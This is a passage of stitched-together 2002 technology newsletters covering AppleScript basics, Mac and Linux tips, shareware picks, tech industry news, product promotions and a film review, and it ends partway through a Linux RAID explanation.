AppleScript, every single one suggested I start with the basics, for that reason, I'm going to take things step-by-step, following my own learning process and progressing to gradually more difficult concepts. Despite having experience in programming, using a variety of languages, I initially found AppleScript to be quite intimidating -- mostly because something about the Script Editor seems less than intuitive. If you've already been dabbling in scripting, the first few columns on the subject will definitely be targeted at novices, but I want to everyone to have the chance to get up to speed. I'm off to the Shareware Industry Conference for the remainder of the week, where it's looking like the selection of stuff for Mac users will be very bleak. I believe the organization is targeted more toward the Windows community in general and any shareware developer with enough cash to get there is probably going to be in New York for MacWorld. I'll be missing out on the Web cast of Steve Jobs speech, which is scheduled to take place while I'm in the car, but at least I'll be able to catch the details at other Mac sites when I get to St. Louis. Internet access for the trip is being provided by Crosspaths.net, which is one of the few dialup services I've found that can be configured to relay my Lockergnome mail so that I can still function on the road. I tested the service on my iBook this evening just to be sure. With some luck, I may be able to get Internet access from the highway, via my Kyocera 6035, and see what Jobs had to say before I get to St. Louis. Unfortunately, there's no support for OS X yet with the 6035, so I can't use the unlimited nights and weekends to dial the Web from my laptop. A landline will probably be more sensible anyway. Check my blog for some updates on the trip, Lori's attending too and I'm sure she'll be taking lots of photos, as usual. See You in August, Jake Ludington GnomeDOWNLOADS --- **Same-X v2.0 [1.73MB] OSX 10.1.1 FREE** http://www.thumpbunny.com/ Seven themes, two board sizes and your choice of difficulty levels, makes this a game for the entertainment addict in all of us. The object is to clear the board of all icons, removing them in matching clusters of two or greater at a time. Clearing the screen awards bonus points and scoring awards clearing of larger clusters. Nothing gets killed, there's no swearing, but you'll find yourself addicted to the mindless fun anyway -- not to mention you can feel safe sharing this with kids. GnomeNETWORK --- **Samba Sharing Package v1.5 [8.3MB] OS X FREE** http://xamba.sourceforge.net/ssp/ It remains to be seen whether 10.2 will render this type of application unnecessary, but for those out there without the cash to spend on DAVE, for small office or home networking of Mac/PC mixed environments, this is the only real alternative. Installation and configuration is almost painless, making it easy for your Windows machine to see apps on your Mac with little difficulty. The interface, like most OS X GUI apps, is quite easy to navigate, including user management, connection management, and share configuration into a convenient Prefernce pane. GnomeSCRIPT --- Technically speaking, you could do most of your script writing in a text editing application like TextEdit, but ultimately you've got to compile it in the Script Editor, so you might as well start there. The Script Editor is located in the AppleScript subfolder of your Applications folder. Opening the application for the first time reveals a small window divided in to two sections, Description and the actual scripting pane, separated by a group of buttons. Ignore the buttons for the moment and concentrate on the two text panes. The Description pane is where you label your script, so you can remember later what it does. This is also the place you denote the key combination that will invoke your script. If you choose to save your script as an executable application, the information in the description will show up in the start up screen. The second pane is where the magic happens. In this pane you will be telling applications to do specific tasks when your script runs. The format for scripting is fairly linear. You either start your script at the top most level drilling down, until you actually reach the application or object you want to manipulate with your script, or you take the reverse approach manipulating things from the bottom up. Telling the ""Applications"" folder to tell its ""Jake"" subfolder to tell the application ""Jake's Media Player,"" located in that folder to do something could also be written by telling the script to access ""Jake's Media Player"" located in the ""Jake"" subfolder of the ""Applications folder, The upcoming example will make this a bit more clear. **Buy One Inkjet Cartridge - GET TWO FREE!!** Buy 1 Get 2 FREE on Most Epson, Canon, and Apple Cartridges. Wholesale Pricing on Lexmark Cartridges. Free Shipping on orders $25 or more!! U.S. Shipping Only. Click Here For a Complete List of Cartridges. --- GnomeFAVORITE --- **Glitschka.com** http://www.glitschka.com Flash animations, downloadable icons, artistic doodles, and details about the artist himself are available from this site. You're guaranteed to find something entertaining here, and if you need a logo designed, Von Robert Glitschka might even take you on as a client. The portfolio is extensive, including stock images and even some icons by the artist's seven year old daughter. A must read is the anatomy of an illustration section, which lays down artistic opinion, straight from Glitschka's mouth on how to make a funny creation. This is by no means a Mac only site, the entertainment is accessible by everyone and icons are available in both Mac and PC versions. GnomeTIP --- Traditionally, Mac OS has always placed a link to various disks in use on the desktop, which can be convenient, but is no longer necessary with the Finder only a Command+Tab away in the Dock. My personal desktop is usually cluttered with files I've downloaded from the Internet, so I can never find anything when my desktop is in plain sight, the Finder is the only way I stay organized. For desktop slobs like me, or for neat freaks who want nothing on the desktop, OS X includes three handy options for keeping disks in their place. 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I now believe that Microsoft""s TabletPC can be a big hit. Where? Vertical markets. Why? Development tools. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Why you won't be buying one from Dell** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) CERT: Security reports multiplying ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Microsoft squashes Windows 2000 bugs ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Sun's ID software gets a Liberty face-lift ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Mobile slump puts the bite on Bluetooth ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) 'Rainbow' coalition to spread wireless ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Handspring courts corporate buyers ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Apple patches serious security hole ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **Farber's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://image.com.com/techupdate/i/dfarber.jpg) Dan Farber ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Slowing sales shrinking Intel workforce** Intel announced lower-than-expected earnings yesterday and that **4,000 jobs** (5 percent of its staff) would be eliminated this year. This may bring Intel's margins back in line, but the overall **outlook is not bright** in the coming months, despite Federal Reserve Chairman Alan Greenspan's optimism about a more timely recovery. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **VMware ups consolidation ante** The new version of VMware's lower-end server product is slated to run atop the latest versions of Linux from SuSE, MandrakeSoft and Red Hat, as well as Microsoft Windows .Net Server due this year. Offering more Intel-server based **consolidation opportunities** than ever, **GSX Server 2.0** includes support for AMD's **Athlon XP** and **Intel's Xeon** processors. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Server consolidation eases system management** ![](http://techupdate.zdnet.com/techupdate/i/071602techsupport.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Software contracts: Clause for alarm** In the high-stakes game of corporate software negotiations, the silver-tongued sales rep isn't your biggest challenge: It's the **language in the contracts**. Enterprise customers spend surprisingly little time pouring over the fine print of multi-million dollar software contracts that are rife with obscure terminology, vague expansion charges, and **mind-boggling license conversions**. As a result, they end up paying in ways they had never imagined long after the deal is signed. Just ask California. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the fine print** **Six steps to the best TCO with Linux** Don't just bring in Linux as yet another OS to manage. To help you determine whether Linux offers better TCO than Windows, **Gartner** examines the benefits and pitfalls of deploying Linux-based servers. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://techupdate.zdnet.com/techupdate/i/bobrien.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Rack server a la mode** With its Xserve rack-mount server, **Apple is moving into enterprise territory**. The specs are impressive: Dual 1GHz PowerPC G4s, up to 2GB DDR SDRAM, two 64-bit 66MHz PCI slots (plus a third combination PCI/AGP slot), dual Gigabit Ethernet, FireWire and USB ports, and four Ultra ATA/100 Apple Drive Module bays. But **Bill O'Brien** thinks Apple's **licensing** may be even more appealing than the hardware. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://techupdate.zdnet.com/techupdate/i/071602winbook.jpg) | ![](http://www.zdnet.com/b.gif) ---|--- **A notebook with desktop muscle** **WinBook's** big and heavy J4 uses a desktop Pentium 4 and leaves mobile P4-M notebooks in the dust. That means heavy lifting for your spreadsheets--and your shoulders. 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Ever since I was down toward Des Moines last week and had a cup-o-java with Jake at Starbucks, I've been craving coffee. I can't see myself turning into a coffee junkie like Chris, but it's just weird that this would happen, being that my extent of coffee drinking has usually been limited to the severe need for a quick morning wake-up or in an effort to keep warm on cold mornings when out in the field back in my Marine Corps days. As time has gone on, I've been trying to cut back on the typical geek vices of sugar and caffeine, but I can't drink coffee straight. It has to be sweet, and what's the point of drinking coffee if there's no caffeine? Enter Splenda. An artificial sweetener that has finally made it to Waterloo, Iowa. Most of what Diana and I use sugar for has been modified to use Splenda instead, with good results. Hopefully this coffee thing is just a temporary kick like it usually is. I have to brush my teeth after a cup or two from the nasty breath. It's fun to test out the dragon-breath on the cat to see just how bad it really is. If Bootes sniffs a couple of times, it's not too bad, but if she instantly recoils, time to employ the Sonicare for a couple of minutes. See what you've started, Jake? See You in August, Randy Nieland GnomeNETWORK --- **Exchange Titanium Details Emerge** http://www.microsoft.com/presspass/features/2002/jul02/07-15exchangeqa.asp Oracle recently announced their intention to compete directly with Microsoft Exchange, even accepting Outlook as an email client. In what seems like a direct response, we're handed details of the 2003 release of Exchange Titanium. I've always liked what Exchange can do, so I'm certainly looking forward to seeing what the new features will be all about, but I'm also interested in what Oracle will be bringing to the table. Better email functionality, control and security are the name of the game, whoever ends up being the vendor of choice. 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Quite a few different versions are supported, so you should be able to find something appropriate to your device. GnomeALERTZ --- **Today's Top 5 kbAlertz** * Q320278 - WD: ""The Custom Dictionary Is Not Available "" Error When You Use Portuguese (Brazilian) Proofing Tools (Q320278) * Q313147 - GetNtmsObjectAttribute Does Not Return Correct Size When the Buffer Is Too Small (Q313147) * Q313317 - A GPO ""Register PTR Records"" Setting of ""Disabled"" Is Ignored (Q313317) * Q310869 - STOP Error When You Start Windows After You Connect a Scanner (Q310869) * Q310772 - PCMCIA Device May Not Work in Windows XP (Q310772) Recommend It! GnomeASSISTANT --- **50 OS X TIPS: Whether you're making the ""switch"" from Windows, upgrading from a previous version of Mac OS, or just want some helpful tricks to make using OS X easier, this ebook is for you. Jake cover's everything from user management, to some Terminal basics, to how to navigate differences between OS 9 and OS X.Get your copy today! --- **Where's Java?** http://news.com.com/2100-1001-944053.html Three readers asked me about this very thing this week, and it's something you should probably know about if you use Windows XP. Microsoft didn't bundle the Java Virtual Machine with Windows XP, and since the release of XP, the JVM has been avaialble via the Windows Update site as a ""convenience"" to users. Part of Sun's legal complaints surrounding how Microsoft has handled Java was that Microsoft did not have the right to distribute their implementation via the web, though they did have licensing rights to include it with Windows. So essentially, Microsoft has things backwards, as it seems. Well, to avoid further web distribution arguments, Microsoft has yanked the JVM from the Windows Update site and all other areas of Microsoft's web site. Microsoft is still planning to include Java with Windows XP Service Pack 1. You'll have to plan for Java support accordingly, as SP1 is still a ways off and you can't get it from Microsoft at this point. If you need it for a new installation of Windows XP in the short term, Sun will gladly provide you with their own distibution. GnomeSTUFF --- **Another Xeon Deal** Served up by Warren Dugas http://www.tigerdirect.com/applications/SearchTools/item- details.asp?sku=C170-1032%20P I mentioned a really nice deal on Compaq Evo W6000 dual- Xeon workstations a few weeks back, which I know several of you took advantage of, but the $1999 price tag likely scared off many others. If you still want to get into a Xeon, check this one out. TigerDirect is offering an Evo W8000 workstation with a single 1.7GHz processor, 18.2GB 15,000rpm U160 drive, 48x CD-ROM and licenses for both Windows 2000 Pro and NT 4.0 Workstation for $699.99. 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Jobs used his keynote speech at the Macworld trade show here to make a flurry of other announcements as well, such as details about new syncing software, the next update to OS X and the end of free iTools. The most dramatic announcement focused on iPod. The new players include ones built specifically for computers that use Microsoft's Windows operating system. July 17, 2002, 8:30 AM PT | **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Scient files for Chapter 11** Internet consulting firm Scient has filed for Chapter 11 bankruptcy and agreed to sell certain assets to a professional services firm. The deal calls for Salt Lake City-based SBI to hire some of Scient's employees and to provide up to $4.9 million in financing, pending completion of the asset acquisition. Scient has been struggling for some time now. Once a dot-com darling, the company recently approved a 1-for-20 reverse stock split. The company and SBI said they expect the bankruptcy court to approve the deal, adding that financing ""will allow Scient to continue to deliver services to its clients without interruption until court approval of SBI's acquisition is received."" July 17, 2002, 8:30 AM PT | **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Yahoo Mail puts words in your mouth** What does Yahoo Mail have against mocha? That's what users of the company's free e-mail service may be wondering if they try to send a message using the word ""mocha"" and discover that while in transit, ""mocha"" mysteriously changes to ""espresso."" To protect users from malicious code, Yahoo uses an automated filter to swap out a handful of words such as ""mocha"" that pertain to Web code known as JavaScript. The reason is that e-mail sent in a form known as ""Web enhanced"" can contain JavaScript instructions that can run programs on the recipient's PC. JavaScript is a Web language that can issue commands such as telling the browser to open up other windows or to prompt a service to change a password, for example. July 17, 2002, 4:00 AM PT | **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Unisys splits Intel server line** Unisys, a specialist in high-end servers, is coming out with a new lower-cost line of Intel-based servers as it gears up to promote the Itanium 2 chip. Unisys' new Aries servers accommodate as many as 16 Itanium 2 or Xeon processors and cost between $75,000 and $300,000, said Mark Fevertson, Unisys' vice president of server marketing. It joins the Orion line, which can use up to 32 Xeon or Itanium 2 processors and has been on sale for about two years at a cost between $140,000 and $700,000. July 17, 2002, 10:40 AM PT | **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **Microsoft sweetens Mac Office offer** With sales of its Office suite for Mac OS X falling short of projections, Microsoft plans on Wednesday to announce a rebate for those who buy the software bundle when they pick up a new Mac. The promotion, which runs through Sept. 30, entails a $50 mail-in rebate for people buying a new Mac and upgrading to Office v. X, and $100 for those buying a Mac and the full version of the software. Microsoft is also offering two new pieces of downloadable software: one that lets Palm handhelds synchronize directly with Office v. X and another that lets the Macintosh view programs running on a Windows PC or server. July 17, 2002, 3:00 AM PT | **Read Full Story** ![](http://home.cnet.com/i/ne/ds/right_arrow.gif) **New chip may portend ATI comeback** ATI, once the leader in graphics chips, will launch its comeback bid this week with a new chip that experts say could put the company back in front in terms of performance. The Markham, Ontario-based company on Thursday will unveil the details of the Radeon 9700, a desktop graphics chip based on a new architecture that will provide greater realism when it comes to 3D images, according to sources. The fastest versions of the new chips will offer considerably higher performance than Nvidia's current GeForce4 roster, giving ATI the edge with gamers as well as PC makers, analysts said. And even after Nvidia--which began to chip away at ATI's leading spot in graphics in 1999-- comes out with its GeForce 5 in a few months, the competition between the two will remain close. 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Also boosting the sector was Motorola, which beat expectations for operating earnings and predicted a net profit in the last two quarters of the year. CNET's Tech index rose 14.46 points, or 1.41 percent, to 1,007.37, and the tech-laced Nasdaq composite index tacked on 21.97 points, or 1.6 percent, to 1,397.23. With aircraft maker Boeing beating the consensus Wall Street earnings estimate, the Dow Jones industrials increased 69.37 points, or 0.82 percent, to 8,542.48. The S&P; 500 rose 5.08 points, or 0.56 percent, to 906.02. ![](http://www.cnet.com/b.gif) | ![Top Investor News](http://www.cnet.com/i/nl/inv/sub_news.gif) | ![](http://www.cnet.com/b.gif) ---|--- ![](http://www.cnet.com/b.gif) ![](http://www.cnet.com/b.gif) **Motorola Sees Profit Rebound** CHICAGO - Wireless technology giant Motorola Inc. on Wednesday said it expects to bounce back to a net profit in the third and fourth quarters helped by aggressive cost cutting. Motorola, a day after posting the largest quarterly loss in its history, said it expects to achieve earnings of about 2 cents a share in the third quarter and 10 cents in the fourth quarter. The estimated earnings for the second half of the year includes charges of about $215 million related to previously announced restructuring actions. The world's second largest mobile phone maker has slashed its work force by more than a third from its peak of 150,000 in August 2000. It said last month it would cut another 7,000 jobs, bringing employment to 93,000 by mid-2003. **MOTOROLA, INC 15.15 4.27%** **Apple meets lowered expectations** Apple Computer on Tuesday reported quarterly sales and earnings that matched analysts' lowered expectations as flat-panel iMac sales and sales to schools fell short of the company's initial hopes. The company earned $32 million, or 9 cents per share, on revenue of $1.43 billion. In the same quarter a year ago, Apple earned $61 million, or 17 cents per share, on revenue of $1.48 billion Analysts expected Apple to report earnings of 9 cents per share, according to First Call. Apple warned last month that sales would be in the range of $1.4 billion to $1.45 billion, down from an earlier estimate of $1.6 billion. The company said it expected earnings to be between 8 and 10 cents per share. **APPLE COMPUTER INC 15.63 -12.49%** **HP, EMC storage systems to work better together** SAN FRANCISCO - Hewlett-Packard Co. and EMC Corp. said on Wednesday that they were opening up technology to each other in order to maker their storage systems work better together. However, the deal will not include technology from Hitachi Data Systems, which makes the hardware for HP's high-end storage system, an HP spokesman said. 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The control allows you to compress directly from memory buffers or strings, as well as add multiple files with wildcarding. There's even a real-time progress monitor for zip and unzip operations. Chilkat supports Active Server Pages, Visual Basic, Visual C++, Delphi, C++ Builder, and all languages that use ActiveX controls. in Java **Anfy Java 2.0** Anfy is a collection of 52 applets for Web pages, desktop wallpapers, or screensavers. Within the program's simple interface, you can quickly apply real-time graphic effects to GIF and JPEG images. Effects include 3D texture- mapped cube menus, lake effects, water and fire, deformations, zoom rotators, lens magnification, waving flags, animations, scrolling text, customizable IFS fractals, color changers, light shading, tunnels, and wormholes. in Tools & Editors **VB-PowerWrap 3.1** Distribute Visual Basic applications the easy way with VB-PowerWrap. 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Orders are now being taken for these ... Super High Speed ... Super High Quality ... Large Volume printers! With super low operating costs and excellent durability, these printers provide the solution to your customers' business color needs. Providing our resellers with the tools necessary to be successful in the marketplace is important to us. In an effort to help you jump-start your N1000 printer sales, we are making available, on a first come first served basis, HALF-PRICE N1000 DEMO units. For your convenience, these units can be purchased at Ingram Micro, Tech Data or D&H.; There is a limit of one half- price unit per reseller - and supplies are limited - so order today! To help you generate interest with your customers for the N1000/N2000, we have created a video banner ad that can be run on your website. Log on to our reseller website: http://www.canonresellers.com to view the N1000/N2000 video banner ad. You'll find the ad running on the Home Page. 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This creative and informative course - covering topics that include Features, Installation, Connectivity and Markets - is not to be missed. Details to follow. We have a winner! Congratulations to everyone who completed the imageCLASS 1100 web training before June 30! The winning name was randomly selected from a 'hat' and we're pleased to announce the winner of the Canon PowerShot A20 digital camera works at one of our valued resellers in North Carolina! | ![](http://www.captureleads.com/canon/leadblasts/nlimages/simon_anim.gif) | | Although the contest is over... the learning should not stop. If you have not yet completed this informative imageCLASS 1100 training course, log on to http://www.canonresellers.com right click on Simon and go to the training site. | | **Reseller Account Executive—Contact Changes** | ---|---|--- | Canon has a dedicated team of Account Executives whose mission is to work with you to achieve our mutual business goals. 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I've seen no mention of any additional functionality, besides song management via one media playing utility. Mediafour's XPlay remains a better option, in my opinion. In addition to allowing you to use an iPod with almost any media player made for Windows, it assists with contact management, via Outlook vCards, in addition to making the iPod an additional drive on your PC. At a mere $10 more than MusicMatch Jukebox Plus, XPlay blows the doors off Apple's officially endorsed player. Lori and I made the five and a half hour drive to St. Louis for this year's SIC without a hitch. I just missed a face-to-face introduction to John Lal, of winferno.com, although I'm sure we'll meet tomorrow. John's the guy behind the free copy of Research-Desk for all Gnomedex attendees. Shortly after arrival, I enjoyed dinner with the eSellerate gang, with a discussion about GnomeTomes and what the future holds. Every time I travel, I'm reminded just how slow dialup really is. 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GnomeDVD --- ![DVD](http://images.lockergnome.com/images/dvd/whosafraidofvirginiawoolf.jpg) Click for Details --- **Who's Afraid of Virginia Woolf?** (NR) 1966 Adapted Play - 131min Reviewer's Tilt (10) ![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif)![](http://images.lockergnome.com/images/dvdgnomefull.gif) Before directing Catch-22 and The Graduate, Mike Nichols made his big screen debut directing this adroit adaptation of Edward Albee's play ""Who's afraid of Virginia Woolf?"" Nominated for thirteen, and winner of five, Academy Awards, this dark tale centers on history professor George (Richard Burton), and his wife Martha (Elizabeth Taylor), daughter of the college president. At first George and Martha appear to be the average Ozzie and Harriet, an aging, well- adjusted, educated couple, comfortable with their lives and their love. George and Martha quickly shatter this illusion, as they return from a faculty cocktail party, to exchange a caustic barrage of verbal barbs. Just as quickly, however, the couple turns witty and civil when the young new biology professor Nick (George Segal) and his shy, but pretty wife Honey (Sandy Dennis) stop by for a nightcap. Unfortunately for Nick and Honey, the sardonic exchange does not disappear, it merely changed guise. Soon Nick and Honey find themselves helpless pawns in the elder couple's sick-witted exchange. Throughout the remainder of the movie, George and Martha dance their finely choreographed, oft-rehearsed dance of despise. The two alternate the lead, alternately dishing out and enabling the abuse, but they never miss a step. Thankfully, writer Albee's sublime play translates to the big screen almost unadulterated. Taylor and Burton deliver his lines with great force and impeccable timing. At one point George proposes ""Now that we're through with Humiliate the Host...and we don't want to play Hump the Hostess yet...how about a little round of Get the Guests?"" This provides some idea of the precarious twist of uncomfortable wit that drives the action from start to finish. Albee's stellar writing notwithstanding, the real star of this film is Taylor and Burton's alchemy, converting Albee's words into cinematic gold. Ok, I will grant you that playing a pair of aging, drunk, selfish lovers may not have been much of a stretch. Both actors, however, deliver their lines with the chilling reality of a serial killer describing his most gratifying slaying. Often unpleasant and disturbing, this film never allows you to relax or look away. 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The AnchorDesk Weekly newsletter will continued to be published every Friday Why are we doing this? There are several reasons, but the most important one is giving me a chance do more than just sit behind a desk typing all day in order to meet deadlines. I've been writing five columns a week for 18 months now, and I'd be lying to you if I didn't admit to being more than a little tired. Also, I've been on such a short leash that I haven't been able to travel or meet as many people as I'd like. This new schedule means I'll have more time to get out, learn more, see more products, and discover new issues or trends. So it should result in a more interesting and useful AnchorDesk for you. Having additional time also means I will be able to work on several projects I've been assigned, including one that could bear fruit at the Consumer Electronics Show next January. More about that soon, once all the details are nailed down. For now, the new schedule is being called a ""test,"" which means it could turn out to be temporary--or maybe not. We'll run it through the end of the summer and see how it works. I appreciate your continued support of AnchorDesk. While the column will be less frequent, I will still be on CNET Radio every weekday at noon PT (or on- demand streaming anytime) and hope you will join me there. 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When results don't count** When my Web search on a leading IT exec came up almost empty, what was I to think? As it turns out, the lack of Web tracks is not necessarily a sign of irrelevance. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **And it offers a lesson or two** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) **Latest from ZDNet News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Unisys servers shape up for Itanium 2 ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Linux to enter supercomputing top five ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) U.S. wants your mailman to snoop on you ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Motorola: Gloomier outlook for handsets ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) Yahoo Mail swaps out JavaScript words ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) TI boosts Sun's UltraSparc chip ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) PC slump drives AMD deeper into the red ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **More Enterprise News** ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dots249.gif) ![](http://www.zdnet.com/b.gif) **David's Picks** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/techupdate/i/dberlind.gif) David Berlind ![](http://www.zdnet.com/techupdate/i/dots75.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **Group proposes PC protection guarantees** Several **U.S. government** agencies have teamed with an international Internet security organization to support a set of benchmarks aimed at guaranteeing a **minimum security standard** for computers. While **Windows 2000** workstations are the first benchmark that the disparate organizations have agreed upon, others to follow include **Cisco IOS** for routers, Solaris, Linux and HP-UX. Reaching agreement on these benchmarks will not be a walk in the park. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Microsoft squashes Windows 2000 bugs** ![](http://techupdate.zdnet.com/techupdate/i/071702_ballmer_quote.gif) | ![](http://www.zdnet.com/b.gif) ---|--- **As the rhetoric turns** Last year, **Steve Ballmer** called the GPL on which Linux is based a "" **cancer**."" This year, **Linux is a ""unique competititor**."" The emergence of Linux as a serious competitor to Windows has forced Microsoft to change the way it approaches customers, Microsoft's CEO acknowledged at this week's Fusion 2002. Microsoft traditionally has played its **""low price, high volume""** game against IBM, Oracle and others. Now it must figure out how to beat Linux, which has an even lower cost -- free. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full story** **Wi-Fi can wait** The next iteration of Wi-Fi (aka **802.11a** ) may be getting a lot of interest, but rolling it out now, says **Gartner** , would be jumping the gun. The anointed successor to the **802.11b** modulation scheme provides up to five times the throughput over its predecessor. When will it be ready for prime time? ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Find out why you should wait** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **'Rainbow' coalition to spread wireless** **More large-scale worm attacks? Brace yourself** It's been a year since the **Code Red** worm wreaked havoc on the Net. What's changed? Internet worms have become **much more robust** since Code Red. And that doesn't bode well, since antivirus software hasn't kept up with all the changes. So far in 2002, we've been lucky. **Robert Vamosi** tells you how to prepare for future threats. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Here's what he recommends** **Macworld hears roar of Jaguar** At this week's Macworld, Apple CEO **Steve Jobs** heralded the early arrival (August 24) of **Mac OS X version 10.2** (code-named Jaguar), which features improved search features plus **QuickTime 6** with support for MPEG-4. Also: An iPod for Windows, a 17-inch flat-panel iMac, new charges for iTools Web services and a leg-up for Mac Office. ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **Read the full report** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif) **What David Coursey wants from Macworld** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)Write me at **david.berlind@cnet.com** ![](http://www.zdnet.com/techupdate/i/arrow_blue.gif)**Back to top** ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | ![](http://www.zdnet.com/b.gif) | **Also on Tech Update Today** | ![](http://www.zdnet.com/b.gif) --- ![](http://www.zdnet.com/b.gif) **COMMENTARY** ![](http://www.zdnet.com/b.gif) | **Fact and fiction in the Web services debate** Iona Technologies CEO **Barry Morris** says the battle between .Net and Java isn't important. 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Whether you are looking for your dream job or trying to hire talented people, the full-featured career resource center is the place to start. Find your IT talent solution today! --- I've got a few quick Lockergnome-related notes for you today. First, we'd really like to see you in August. I know that Jake, Chris and Randy have been signing off on their newsletters with those few words, and I'll join them. If you didn't experience Gnomedex last year, you missed, in the words of many industry insiders, ""The show of the year."" It was unlike any other computer conference I've ever attended. Unlike any conference I've attended, period, computer-related or not. While most such conferences are a huge hustle and hassle, Gnomedex was what computing and Lockergnome are all about - sharing useful information, gathering with like-minded enthusiasts, and learning to use your chosen computer to the fullest extent. No hustle. No hassle. No BS. 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Tony Steidler-Dennison GnomeTWEAK --- **Lockergnome readers, SAVE 50% on the Computing Encyclopedia!** Are you looking for the ultimate computing resource? Discover the _Computing Encyclopedia_ from Smart Computing. Regular price $59, SPECIAL OFFER for Lockergnome readers, get your set TODAY, ONLY $29.95! --- **Setting the Home Page in Konqueror** Konqueror, while a great browser, has taken a step in the direction of IE. Like IE, Konqueror is really an integrated web _and_ file browser. You can use it equally well to view web pages and files on your system. It's been something of a hot debate whether this is actually the proper use of a browser. In fact, Galeon was written specifically to answer this question - it's a web browser and a web broswer only. Regardless, it can be a bit annoying to punch the Home button on the Konqueror browser and end up in your /home/ _user_ directory. Have no fear, though. It's an easy change to make your actual web home page the home page in Konqueror. Open Konqueror and select Settings from the toolbar. Select ""Configure Konqueror,"" and leave the default selection of ""File Manager"" as is. In the text box on the right half of the screen, you'll see a tilde in the ""Home URL"" text box. That just tells Konqueror to use the user's home directory as the home URL. Changing this to a web address will set that address as your home page. Select OK to close the window. Taking it one step further, click on the Home button in your Konqueror browser to open your newly-configured web home page. Then, select ""Window"" and ""Save View Profile, 'Web Browsing.'"" This will futher save the URL and allow your the opportunity to save the window size when the browser opens. Konqueror is more than just a web browser. But, it's not so tough to make it act like a pure web browser if you just know where to look. Recommend It! Send us a GnomeTWEAK GnomeCORE --- **Kernel Configuration - Part XII** Depending on who you talk to, RAID can stand for ""Redundant Array of Independent Discs"" or ""Redundant Array of Inexpensive Discs."" No matter. They both point to the same theory and practice in Linux; data storage redundancy. That's today's kernel configuration section - Multi-Device Support. Let's talk first about the principles behind a RAID setup. RAID uses multiple discs for speed, increased data storage, or data redundancy. Fundamentally, there are 5 levels of RAID in Linux; Linear, RAID-0, RAID-1, RAID-4, and RAID-5. Linear RAID uses two or more discs, appending data from one to another. In other words, when disc 1 is full, disc 2 steps in to store data. There is no redundancy in Linear RAID - 